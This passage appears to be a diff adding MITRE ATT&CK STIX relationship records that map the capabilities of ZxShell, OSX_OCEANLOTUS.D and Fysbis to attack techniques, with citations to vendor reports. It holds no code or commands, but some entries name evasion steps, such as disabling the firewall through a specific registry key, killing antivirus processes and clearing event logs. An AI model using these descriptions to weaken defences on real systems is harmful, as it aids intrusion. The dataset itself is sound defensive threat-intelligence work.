"description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "url": "https://content.fireeye.com/apt-41/rpt-apt41" + }, + { + "source_name": "Talos ZxShell Oct 2014 ", + "description": "Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019.", + "url": "https://blogs.cisco.com/security/talos/opening-zxshell" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", + "description": "[ZxShell](https://attack.mitre.org/software/S0412) can launch port scans. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-24T12:59:58.595Z", + "id": "relationship--704355c5-4743-4fe1-bd64-b7012fe7c1d2", + "source_ref": "malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c", + "modified": "2019-09-24T14:19:05.548Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT41 Aug 2019", + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "url": "https://content.fireeye.com/apt-41/rpt-apt41" + }, + { + "source_name": "Talos ZxShell Oct 2014 ", + "description": "Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019.", + "url": "https://blogs.cisco.com/security/talos/opening-zxshell" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-24T13:01:20.471Z", + "id": "relationship--4d1d7045-4492-492c-9522-2885d6bd96f6", + "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", + "modified": "2019-09-24T13:01:20.472Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "source_name": "FireEye APT41 Aug 2019", + "url": "https://content.fireeye.com/apt-41/rpt-apt41" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044", + "description": "[ZxShell](https://attack.mitre.org/software/S0412) can disable the firewall by modifying the registry key HKLM\\SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile and killing AV products' processes. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-24T13:29:29.636Z", + "id": "relationship--c28eced2-5070-4646-b178-22f4537124a4", + "source_ref": "malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c", + "modified": "2019-10-14T22:06:29.337Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019.", + "source_name": "Talos ZxShell Oct 2014 ", + "url": "https://blogs.cisco.com/security/talos/opening-zxshell" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[ZxShell](https://attack.mitre.org/software/S0412) can collect the local hostname, operating system details, CPU speed, and total physical memory. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-24T13:29:29.667Z", + "id": "relationship--20f422e8-6244-46e3-8842-f5dc3e37568c", + "source_ref": "malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c", + "modified": "2019-10-14T22:06:29.335Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019.", + "source_name": "Talos ZxShell Oct 2014 ", + "url": "https://blogs.cisco.com/security/talos/opening-zxshell" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[ZxShell](https://attack.mitre.org/software/S0412) can collect the owner and organization information from the target workstation. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-24T13:29:29.675Z", + "id": "relationship--6635f23e-99e9-4978-9924-ccf6c199f84f", + "source_ref": "malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c", + "modified": "2019-10-14T22:06:29.351Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019.", + "source_name": "Talos ZxShell Oct 2014 ", + "url": "https://blogs.cisco.com/security/talos/opening-zxshell" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "description": "[ZxShell](https://attack.mitre.org/software/S0412) can create a new service using the service parser function ProcessScCommand. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-24T13:29:29.689Z", + "id": "relationship--9373e1b7-3164-4879-9b92-f3a629029eb2", + "source_ref": "malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c", + "modified": "2019-10-14T22:06:29.347Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019.", + "source_name": "Talos ZxShell Oct 2014 ", + "url": "https://blogs.cisco.com/security/talos/opening-zxshell" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", + "description": "[ZxShell](https://attack.mitre.org/software/S0412) can check the services on the system. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-24T13:29:29.702Z", + "id": "relationship--fd44d6f1-25c5-4365-8a68-323bfc0b3f22", + "source_ref": "malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c", + "modified": "2019-10-14T22:06:29.342Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019.", + "source_name": "Talos ZxShell Oct 2014 ", + "url": "https://blogs.cisco.com/security/talos/opening-zxshell" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67", + "description": "[ZxShell](https://attack.mitre.org/software/S0412) has a feature to create local user accounts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-24T13:29:29.705Z", + "id": "relationship--c9ad232a-2276-40b2-bf56-490fc6357cca", + "source_ref": "malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c", + "modified": "2019-09-24T13:29:29.705Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019.", + "source_name": "Talos ZxShell Oct 2014 ", + "url": "https://blogs.cisco.com/security/talos/opening-zxshell" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "description": "[ZxShell](https://attack.mitre.org/software/S0412) can query the netsvc group value data located in the svchost group Registry key. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-24T13:29:29.726Z", + "id": "relationship--5acaf47e-4608-4548-81e8-368a2687844e", + "source_ref": "malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c", + "modified": "2019-10-14T22:06:29.301Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019.", + "source_name": "Talos ZxShell Oct 2014 ", + "url": "https://blogs.cisco.com/security/talos/opening-zxshell" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "description": "[ZxShell](https://attack.mitre.org/software/S0412) is injected into a shared SVCHOST process. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-24T13:29:29.730Z", + "id": "relationship--a275b407-099a-4f2c-954c-528cf61349f8", + "source_ref": "malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c", + "modified": "2019-10-14T22:06:29.334Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019.", + "source_name": "Talos ZxShell Oct 2014 ", + "url": "https://blogs.cisco.com/security/talos/opening-zxshell" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-24T13:32:51.555Z", + "id": "relationship--1aee1049-89be-45b8-ae2f-83bf4e35d5a3", + "source_ref": "intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973", + "modified": "2019-09-24T13:32:51.555Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos ZxShell Oct 2014 ", + "description": "Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019.", + "url": "https://blogs.cisco.com/security/talos/opening-zxshell" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-24T13:37:11.254Z", + "id": "relationship--5d1d76e6-ecd8-44e7-bc90-7701788dc28e", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "modified": "2019-09-24T13:37:11.254Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Counter Threat Unit Research Team. (2019, February 27). A Peek into BRONZE UNION\u2019s Toolbox. Retrieved September 24, 2019.", + "source_name": "Secureworks BRONZEUNION Feb 2019", + "url": "https://www.secureworks.com/research/a-peek-into-bronze-unions-toolbox" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-24T13:37:11.429Z", + "id": "relationship--a7b07cff-8743-4fe9-9999-8ad32995fa95", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "modified": "2019-09-24T13:37:11.429Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Counter Threat Unit Research Team. (2019, February 27). A Peek into BRONZE UNION\u2019s Toolbox. Retrieved September 24, 2019.", + "source_name": "Secureworks BRONZEUNION Feb 2019", + "url": "https://www.secureworks.com/research/a-peek-into-bronze-unions-toolbox" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--66f73398-8394-4711-85e5-34c8540b22a5", + "description": "[ZxShell](https://attack.mitre.org/software/S0412) hooks several API functions to spawn system threads. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-24T14:19:05.064Z", + "id": "relationship--405f7aa3-2ce8-455f-9718-c2525658c595", + "source_ref": "malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c", + "modified": "2019-10-14T22:06:29.420Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos ZxShell Oct 2014 ", + "description": "Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019.", + "url": "https://blogs.cisco.com/security/talos/opening-zxshell" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5", + "description": "[ZxShell](https://attack.mitre.org/software/S0412) has used rundll32.exe to execute other DLLs and named pipes. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-24T14:19:05.112Z", + "id": "relationship--abc5f1e1-82b7-4d5d-b623-ce0f3e91b9d3", + "source_ref": "malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c", + "modified": "2019-09-24T14:19:05.112Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos ZxShell Oct 2014 ", + "description": "Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019.", + "url": "https://blogs.cisco.com/security/talos/opening-zxshell" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[ZxShell](https://attack.mitre.org/software/S0412) has used HTTP and FTP for connections. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-24T14:19:05.105Z", + "id": "relationship--334ab5f1-75dc-425b-9659-10d2b62b9cbc", + "source_ref": "malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c", + "modified": "2019-10-14T22:06:29.413Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos ZxShell Oct 2014 ", + "description": "Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019.", + "url": "https://blogs.cisco.com/security/talos/opening-zxshell" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484", + "description": "[ZxShell](https://attack.mitre.org/software/S0412) has remote desktop functionality. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-24T14:19:05.135Z", + "id": "relationship--a7ee1099-9380-4743-ba98-6590b65420b2", + "source_ref": "malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c", + "modified": "2019-09-24T14:19:05.135Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos ZxShell Oct 2014 ", + "description": "Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019.", + "url": "https://blogs.cisco.com/security/talos/opening-zxshell" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[ZxShell](https://attack.mitre.org/software/S0412) has a command to open a file manager and explorer on the system. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-24T14:19:05.140Z", + "id": "relationship--49dbde7a-a8ac-4d86-8216-1055f7536467", + "source_ref": "malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c", + "modified": "2019-09-24T14:19:05.140Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos ZxShell Oct 2014 ", + "description": "Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019.", + "url": "https://blogs.cisco.com/security/talos/opening-zxshell" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[ZxShell](https://attack.mitre.org/software/S0412) has a command, ps, to obtain a listing of processes on the system. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-24T14:19:05.143Z", + "id": "relationship--68d151ea-6dd8-4e6b-acd5-c998ebffc357", + "source_ref": "malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c", + "modified": "2019-10-14T22:06:29.416Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos ZxShell Oct 2014 ", + "description": "Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019.", + "url": "https://blogs.cisco.com/security/talos/opening-zxshell" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba", + "description": "[ZxShell](https://attack.mitre.org/software/S0412) supports functionality for VNC sessions. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-24T14:19:05.147Z", + "id": "relationship--1fa0c726-0f55-4f10-8a31-184d760239c5", + "source_ref": "malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c", + "modified": "2019-09-24T14:19:05.147Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos ZxShell Oct 2014 ", + "description": "Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019.", + "url": "https://blogs.cisco.com/security/talos/opening-zxshell" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[ZxShell](https://attack.mitre.org/software/S0412) uses common ports such as 80 and 443 for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-24T14:19:05.256Z", + "id": "relationship--23b69fc1-b602-4351-a815-81a746eb180e", + "source_ref": "malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c", + "modified": "2019-10-14T22:06:29.411Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos ZxShell Oct 2014 ", + "description": "Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019.", + "url": "https://blogs.cisco.com/security/talos/opening-zxshell" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0", + "description": "[ZxShell](https://attack.mitre.org/software/S0412) uses ports 1985 and 1986 for communication. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-24T14:19:05.243Z", + "id": "relationship--3c3ee1e8-2f82-4839-bb5f-69dc5fe9ea0f", + "source_ref": "malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c", + "modified": "2019-10-14T22:06:29.424Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos ZxShell Oct 2014 ", + "description": "Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019.", + "url": "https://blogs.cisco.com/security/talos/opening-zxshell" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[ZxShell](https://attack.mitre.org/software/S0412) has a command to transfer files from a remote host. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-24T14:19:05.322Z", + "id": "relationship--ffffed15-5695-44b9-b85b-89ba8187415d", + "source_ref": "malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c", + "modified": "2019-10-14T22:06:29.454Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos ZxShell Oct 2014 ", + "description": "Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019.", + "url": "https://blogs.cisco.com/security/talos/opening-zxshell" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48", + "description": "[ZxShell](https://attack.mitre.org/software/S0412) has a command called RunAs, which creates a new process as another user or process context. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-24T14:19:05.333Z", + "id": "relationship--aa3e7625-07e1-474f-967a-15e26e1a193c", + "source_ref": "malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c", + "modified": "2019-10-14T22:06:29.451Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos ZxShell Oct 2014 ", + "description": "Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019.", + "url": "https://blogs.cisco.com/security/talos/opening-zxshell" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf", + "description": "[ZxShell](https://attack.mitre.org/software/S0412) has a command to perform video device spying. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-24T14:19:05.339Z", + "id": "relationship--aa9b33a5-81b2-4126-b8f5-0182ec365fc8", + "source_ref": "malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c", + "modified": "2019-09-24T14:19:05.339Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos ZxShell Oct 2014 ", + "description": "Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019.", + "url": "https://blogs.cisco.com/security/talos/opening-zxshell" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", + "description": "[ZxShell](https://attack.mitre.org/software/S0412) has a command to clear system event logs. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-24T14:19:05.379Z", + "id": "relationship--768ba293-130e-4f0e-935f-f477187524ae", + "source_ref": "malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c", + "modified": "2019-09-24T14:19:05.379Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos ZxShell Oct 2014 ", + "description": "Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019.", + "url": "https://blogs.cisco.com/security/talos/opening-zxshell" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88", + "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) has a variant that is packed with UPX.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-26T16:22:41.856Z", + "id": "relationship--79127e56-edbc-422b-9c32-72ce55f5ec04", + "source_ref": "malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29", + "modified": "2019-09-26T16:22:41.856Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET OceanLotus macOS April 2019", + "description": "Dumont, R.. (2019, April 9). OceanLotus: macOS malware update. Retrieved April 15, 2019.", + "url": "https://www.welivesecurity.com/2019/04/09/oceanlotus-macos-malware-update/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d", + "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) has a variant that checks to see if it is being run in a virtual machine environment or connected to a debugger.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-26T16:22:41.861Z", + "id": "relationship--3f921bea-899f-4b13-94b2-13f7a4813b8b", + "source_ref": "malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29", + "modified": "2019-09-26T18:13:33.183Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET OceanLotus macOS April 2019", + "description": "Dumont, R.. (2019, April 9). OceanLotus: macOS malware update. Retrieved April 15, 2019.", + "url": "https://www.welivesecurity.com/2019/04/09/oceanlotus-macos-malware-update/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[Fysbis](https://attack.mitre.org/software/S0410) has the ability to delete files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-27T13:27:07.014Z", + "id": "relationship--7b7ea5f4-c504-49c6-ae43-12431191d54f", + "source_ref": "malware--50d6688b-0985-4f3d-8cbe-0c796b30703b", + "modified": "2019-09-27T13:27:07.014Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Doctor Web. (2014, November 21). Linux.BackDoor.Fysbis.1. Retrieved December 7, 2017.", + "source_name": "Fysbis Dr Web Analysis", + "url": "https://vms.drweb.com/virus/?i=4276269" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[Fysbis](https://attack.mitre.org/software/S0410) has the ability to search for files. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-27T13:27:07.050Z", + "id": "relationship--13b78b09-00b6-4307-87b7-7cd8c9360b39", + "source_ref": "malware--50d6688b-0985-4f3d-8cbe-0c796b30703b", + "modified": "2019-10-03T13:13:15.578Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Doctor Web. (2014, November 21). Linux.BackDoor.Fysbis.1. Retrieved December 7, 2017.", + "source_name": "Fysbis Dr Web Analysis", + "url": "https://vms.drweb.com/virus/?i=4276269" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[Fysbis](https://attack.mitre.org/software/S0410) can collect information about running processes. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-27T13:27:07.065Z", + "id": "relationship--3029d06e-7a13-4d17-bad5-ce3198bce2ef", + "source_ref": "malware--50d6688b-0985-4f3d-8cbe-0c796b30703b", + "modified": "2019-10-14T19:21:25.512Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Doctor Web. (2014, November 21). Linux.BackDoor.Fysbis.1. Retrieved December 7, 2017.", + "source_name": "Fysbis Dr Web Analysis", + "url": "https://vms.drweb.com/virus/?i=4276269" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[Fysbis](https://attack.mitre.org/software/S0410) has used port 80 for C2. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-27T14:31:02.862Z", + "id": "relationship--eae4d6cd-5e7d-4190-8b99-9a85528e03ec", + "source_ref": "malware--50d6688b-0985-4f3d-8cbe-0c796b30703b", + "modified": "2019-09-27T14:31:02.862Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Fysbis Palo Alto Analysis", + "description": "Bryan Lee and Rob Downs. (2016, February 12). A Look Into Fysbis: Sofacy\u2019s Linux Backdoor. Retrieved September 10, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d456de47-a16f-4e46-8980-e67478a12dcb", + "description": "Regularly check component software on critical services that adversaries may target for persistence to verify the integrity of the systems and identify if unexpected changes have been made.", + 